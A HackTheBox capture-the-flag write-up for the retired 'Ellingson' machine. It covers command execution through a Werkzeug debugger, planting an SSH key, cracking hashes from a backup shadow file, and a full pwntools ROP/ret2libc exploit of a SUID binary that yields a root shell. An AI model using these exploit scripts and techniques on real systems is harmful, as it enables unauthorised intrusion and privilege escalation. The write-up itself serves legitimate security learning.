HTB: Ellingson

Ellingson card

This is a writeup about a retired HacktheBox machine: Ellingson This box is classified as a hard machine. The user is not too hard to get as it require to know python and password's cracking. The root part is really hard as this require the exploitation of a ROP buffer overflow.

Note: if you just want to play with the buffer overflow, the binary is avlaible on this site, just go to the "Analysing the Buffer Overflow" section

Recon

We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Thu Sep 26 13:34:45 2019 as: nmap -oA 10.10.10.139 -sSV 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.086s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 26 13:35:00 2019 -- 1 IP address (1 host up) scanned in 14.76 seconds

Web

The website is a standard corporate website (we can appreciate the dynamic rendering).

Ellingson web page

When browsing the articles, we notice that there is an ID at the end of the URL. If we put a non standard value like 2-1 or put an ID greater than expected we generate an error and a stacktrace. This debugger integrate a python interpretor:

Werkzeug debugger

User

From there we can input python's commands and using the OS module we can execute command on the system. In order to get a shell we can simply upload our SSH public key in the current user (hal) authorized_keys file.

>>> import os; os.popen('whoami').read()
'hal\n'
>>> import os; os.system('mkdir ~/.ssh/')
256
>>> import os; os.system('echo \'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6A/eqoQWIz14pbJ4L3Tsf+GzWv/O8Ym81ICPKpmyEl9cr3DyqCETUijFpMl6LYsdgc97EEdR6d2Xa2mpGMyDHRJSQGJJf2KehUBi6EqrkyEnPfMWNso50UtvzLwOUuxXTYmQ8iTGk3V5PbM0NHG7UQsABELrDL11NNKlV3XkuHE/yTuJQ0f80/ZDQFC7BzIfsl5iE3RmE+kRxTOyxniGwFW1bxYVW1Iqfw7isNVSyn0lkRgkSQjb2fKtFPdGughBm2j3O0+aPrRQyC7iytabc/Y8R248ziAVxqP/Nq8CEFAGXXoX8LS9WSIUfvMwqWevjbUxIKivOfGP9G8Tb994KaQFPUH13oku6GtoymAcaKjuscAHiD7q+1RJqOLg1qV7HVOzMFe46NdmGrK1dGqydfkTVjgwWJk0Swe/wJM8bIYIt6rG8/1kKDgBh86XeP4HDtj+fQo0+07RVrnFXPdBliyKPWIV2sz+qO/JCyX73YgYupps1/lsLb+l4N1BaUnk=\'>>~/.ssh/authorized_keys')
0
>>> import os; os.system('chmod 644 ~/.ssh/authorized_keys')
0

As our SSH public key is in hal's authorzied_key we can connect as hal using SSH and starting to enumerate. The user flag is not in the hal's home folder:

sh 10.10.10.139 -lhal
hal@ellingson:~$ whoami
hal
hal@ellingson:~$ ls /home/
duke  hal  margo  theplague

We enumerate the box and find an interesting non standard SUID binary:

hal@ellingson:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount

Nevertheless we do not have the permission to execute it:

hal@ellingson:~$ ls -al /usr/bin/garbage
-rwsr-xr-x 1 root root 18056 Mar  9  2019 /usr/bin/garbage
hal@ellingson:~$ /usr/bin/garbage
User is not authorized to access this application. This attempt has been logged.

We need another way. We see that we are in the group adm (in addition to our user group):

hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

I struggled for a long time here before someone on the official discord told me that after a few hours the file permissions are changed and the file does not belong to adm group anymore. I had to reset the box to find this file.

Let us list what files are belonging to this group:

hal@ellingson:~$ find / -group adm 2> /dev/null
/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log
/var/log/syslog
/var/log/nginx
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/apt/term.log
/var/log/apport.log
/var/log/mail.log
/snap/core/6405/var/log/dmesg
/snap/core/6405/var/log/fsck/checkfs
/snap/core/6405/var/log/fsck/checkroot
/snap/core/6405/var/spool/rsyslog
/snap/core/4917/var/log/dmesg
/snap/core/4917/var/log/fsck/checkfs
/snap/core/4917/var/log/fsck/checkroot
/snap/core/4917/var/spool/rsyslog
/snap/core/6818/var/log/dmesg
/snap/core/6818/var/log/fsck/checkfs
/snap/core/6818/var/log/fsck/checkroot
/snap/core/6818/var/spool/rsyslog

We cat the shadow.bak file and get some password hashes:

hal@ellingson:~$ cat /var/backups/shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

Let's crack them! It is a bit long as the hashing algorithm is SHA512 ($6). We use john with the rockyou dictionary.

john hash -w=~/tools/password_lists/rockyou.txt
john --show hash
theplague:password123:17964:0:99999:7:::
margo:iamgod$08:17964:0:99999:7:::

The first password was changed, as mention in the third article:

We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague

Nevertheless, we can connect as margo using SSH and the cracked password. And we retrieved the user flag:

ssh 10.10.10.139 -lmargo
margo@10.10.10.139's password:
Last login: Wed Oct  2 12:25:47 2019 from 10.10.15.42
margo@ellingson:~$ ls
user.txt
margo@ellingson:~$ cat user.txt
d0ff9e<redacted>

Root

Finding the SUID binary

Let's get back to the SUID binary:

margo@ellingson:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn

We run the binary, it ask for a password user input. If we put a wrong password we get an access denied. If we put a "long" password we get a segfault. This look like a buffer overflow:

margo@ellingson:~$ /usr/bin/garbage
Enter access password: test

access denied.
margo@ellingson:~$ /usr/bin/garbage
Enter access password: qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

access denied.
Segmentation fault (core dumped)

Let's copy the binary on our machine:

scp margo@10.10.10.139:/usr/bin/garbage ./

We check the flags of the binary:

root@kalili:~# gdb ./garbage
<snip>
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

The No-Execute bit is set. Therefore we need to use a ret2lib.

The ASLR is activated on the server:

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

As ASLR is on and the NX bit (no-execute) is set we will also need the box libc to do a ROP:

scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 ./

Analysing the Buffer Overflow

The binary is avalible here

We load the binary in gdb peda and search for the size of the buffer.

gdb-peda$ r < <(python -c 'print "A"*133+"B"+"C"+"D"+"E"+"F"+"G"+"H"+"J"')
Starting program: /root/garbage < <(python -c 'print "A"*133+"B"+"C"+"D"+"E"+"F"+"G"+"H"+"J"')
Enter access password:
access denied.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7f1a0b24ead4 (<__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x7f1a0b31f580 --> 0x0
RSI: 0x12a0ba0 ("access denied.\nssword: \n\220\v*\001")
RDI: 0x0
RBP: 0x4443424141414141 ('AAAAABCD')
RSP: 0x7ffedbba9290 --> 0x7ffedbba9380 --> 0x1
RIP: 0x4a48474645 ('EFGHJ')
R8 : 0xf
R9 : 0x7f1a0b31d848 --> 0x7f1a0b31d760 --> 0xfbad2a84
R10: 0x4005a5 --> 0x7475700073747570 ('puts')
R11: 0x246
R12: 0x401170 (<_start>:    xor    ebp,ebp)
R13: 0x7ffedbba9380 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction
overflow)

The buffer size is 136 (133+3). We could also use the peda's functions pattern_create and pattern_offset to find it. Then we can start to write our exploitation script using pwntools:

from pwn import *

p = process('./garbage')

context(os='linux', arch='amd64')
context(log_level="DEBUG")

junk    = "A"*136

payload = junk

#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()

p.interactive()

We want to get the dynamic address of LIBC in order to be able to call a specific function (let's say /bin/sh). For that we need:

  • to find a pop rdi call. We use ropper for that:

    :::text root@kalili:~# ropper --file ./garbage --search 'pop rdi' [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi

    [INFO] File: ./garbage 0x000000000040179b: pop rdi; ret;

  • two informations about the PLT and GOT puts callsinto LIBC. For that we can grep the objdump output:

    :::text objdump -D garbage | grep puts 0000000000401050 puts@plt: 401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 puts@GLIBC_2.2.5

We add this addresses to our exploit and output the puts address in LIBC:

from pwn import *

p = process('./garbage')

context(os='linux', arch='amd64')
context(log_level="DEBUG")

plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)

junk    = "A"*136

payload = junk + pop_rdi+ got_put + plt_put

#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

Here is the output of it (for sanity I commented the debugging option):

# python exploitP.py
[+] Starting local process './garbage': pid 1407
Enter access password:

access denied.

[+] Leaked puts@GLIBC: @ T�Z\x7f\x00\x00
[*] Stopped process './garbage' (pid 1407)

# python exploitP.py
[+] Starting local process './garbage': pid 1411
Enter access password:

access denied.

[+] Leaked puts@GLIBC: @pYBs\x7f\x00\x00
[*] Stopped process './garbage' (pid 1411)

# python exploitP.py
[+] Starting local process './garbage': pid 1415
Enter access password:

access denied.

[+] Leaked puts@GLIBC: @0X\x0en\x7f\x00\x00
[*] Stopped process './garbage' (pid 1415)

We got the leaked address of the puts call in LIBC. As the ASLR is on, multiple runs give us different addresses for the puts call in LIBC. But our process logically stop. If we rerun it the address will be different. Therefore we need to recall our main. We get the address using objdump:

objdump -D garbage | grep main
  401194:   ff 15 56 2e 00 00       callq  *0x2e56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:

And we add it to our script:

from pwn import *

p = process('./garbage')

context(os='linux', arch='amd64')
context(log_level="DEBUG")

plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)

junk    = "A"*136

payload = junk + pop_rdi+ got_put + plt_put + plt_main

#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

ret2libc locally

We have the leak address of the puts call in LIBC. We can dynamically compute the offset between our leaked address and the LIBC address. For that we need to found the puts call in LIBC:

# locate libc.so.6
/lib/x86_64-linux-gnu/libc.so.6

# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep puts 194: 0000000000074040 429 FUNC GLOBAL DEFAULT 14 _IO_puts@@GLIBC_2.2.5 426: 0000000000074040 429 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5

The "beginning" of LIBC is then our leak address minus 0x74040.

We now want to call a shell, for that we need the addresses of system and /bin/sh in LIBC:

# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep system
  235: 0000000000129d20    99 FUNC    GLOBAL DEFAULT   14 svcerr_systemerr@@GLIBC_2.2.5
  613: 0000000000046ff0    45 FUNC    GLOBAL DEFAULT   14 __libc_system@@GLIBC_PRIVATE
  1421: 0000000000046ff0    45 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.2.5
# strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh
183cee /bin/sh

As we want to exploit a SUID binary we also need to invoke the setuid call:

# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep setuid
    25: 00000000000c8ac0   144 FUNC    WEAK   DEFAULT   14 setuid@@GLIBC_2.2.5

Our exploit is now the following:

from pwn import *

p = process('./garbage')

context(os='linux', arch='amd64')
#context(log_level="DEBUG")

plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)

junk    = "A"*136

payload = junk + pop_rdi + got_put + plt_put + plt_main

#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x74040 #local

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

libc_sys = 0x46ff0 # local
libc_sh= 0x183cee # local

setuid = p64(0x0)
libc_setuid = p64(0xc8ac0 + offset) # local

sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys

p.sendline(payload)
print p.recvline()
print p.recvline()

p.interactive()

When running the script we grab a shell (as I use my Kali VM on root we don't see a real privilege escalation):

# python exploit.py
[+] Starting local process './garbage': pid 1909
Enter access password:

access denied.

[+] Leaked puts@GLIBC: @P\x84tC\x7f\x00\x00
[*] glibc offset: 7f43747d1000
Enter access password:

access denied.

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Running the exploit remotely

In order to run the exploit remotely we need to change the LIBC addresses with the one we copy from the ellingson machine. We also need to change our process to use the one remote. Pnwtools is perfect for that as we just need to change our process variable. Our final scrip is now:

from pwn import *

shell = ssh('margo', '10.10.10.139', password='iamgod$08', port=22)
p=shell.process(['/usr/bin/garbage'])

context(os='linux', arch='amd64')
context(log_level="DEBUG")


plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)

junk    = "A"*136

payload = junk + pop_rdi + got_put + plt_put + plt_main

#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x74040 #local
libc_put = 0x809c0 # remote

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

libc_sys = 0x46ff0 # local
libc_sys = 0x4f440 # remote

libc_sh= 0x183cee # local
libc_sh= 0x1b3e9a # remote

setuid = p64(0x0)

libc_setuid = p64(0xc8ac0 + offset) # local
libc_setuid = p64(0xe5970 + offset) # remote

sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys

p.sendline(payload)
print p.recvline()
print p.recvline()

p.interactive()

The output of the script give us a root shell on the machine:

root@kalili:~# python exploitR.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 3704
[DEBUG] Sent 0xa9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  9b 17 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  28 40 40 00  00 00 00 00  50 10 40 00  00 00 00 00  │(@@·│····│P·@·│····│
    000000a0  19 16 40 00  00 00 00 00  0a                        │··@·│····│·│
    000000a9
[DEBUG] Received 0x17 bytes:
    'Enter access password: '
[DEBUG] Received 0x2e bytes:
    00000000  0a 61 63 63  65 73 73 20  64 65 6e 69  65 64 2e 0a  │·acc│ess │deni│ed.·│
    00000010  c0 59 74 0f  f5 7f 0a 45  6e 74 65 72  20 61 63 63  │·Yt·│···E│nter│ acc│
    00000020  65 73 73 20  70 61 73 73  77 6f 72 64  3a 20        │ess │pass│word│: │
    0000002e
Enter access password:

access denied.

[+] Leaked puts@GLIBC: �Yt\x0f�
[*] glibc offset: 7ff50f6c5000
[DEBUG] Sent 0xb9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  9b 17 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  00 00 00 00  00 00 00 00  70 a9 7a 0f  f5 7f 00 00  │····│····│p·z·│····│
    000000a0  9b 17 40 00  00 00 00 00  9a 8e 87 0f  f5 7f 00 00  │··@·│····│····│····│
    000000b0  40 44 71 0f  f5 7f 00 00  0a                        │@Dq·│····│·│
    000000b9
[DEBUG] Received 0x12 bytes:
    '\n'
    'access denied.\n'
    '# '
Enter access password:

access denied.

[*] Switching to interactive mode
# $ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x31 bytes:
    'uid=0(root) gid=1002(margo) groups=1002(margo)\n'
    '# '
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cat /root/root.txt
[DEBUG] Sent 0x13 bytes:
    'cat /root/root.txt\n'
[DEBUG] Received 0x23 bytes:
    '1cc73<redacted>\n'
    '# '
1cc73<redacterd>

Wrapping up

What a journey! Exploiting this buffer overflow allow me to learn a lot about pwntools. The binary manipulation is a bit strange as here is no need to wait for the garbage binary to ask for the password. But the possibility to exploit a remote binary so easily is something precious.

Automated pwn

We can also use pwntools to fully automate the exploit and make it compute the addresses automatically:

from pwn import *

p = process('./garbage', setuid=True)

context(os='linux', arch='amd64')
context(log_level="DEBUG")

elf = ELF('./garbage')
rop=ROP(elf)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

rop.search(regs=['rdi'], order='regs')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
log.info('ROP chains:' + rop.dump())

junk    = "A"*136
payload = junk + str(rop)

p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
leaked_puts =  p.recv()[:8].strip().ljust(8, "\x00")
log.info('leaked puts: '+leaked_puts)
leaked_puts =  u64(leaked_puts)

libc.address =  leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search('/bin/sh\x00')))
log.info('ROP2: '+ rop2.dump())

payload = junk+str(rop2)
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
p.interactive()

But this won't "fully" work as the SUID part is not in it.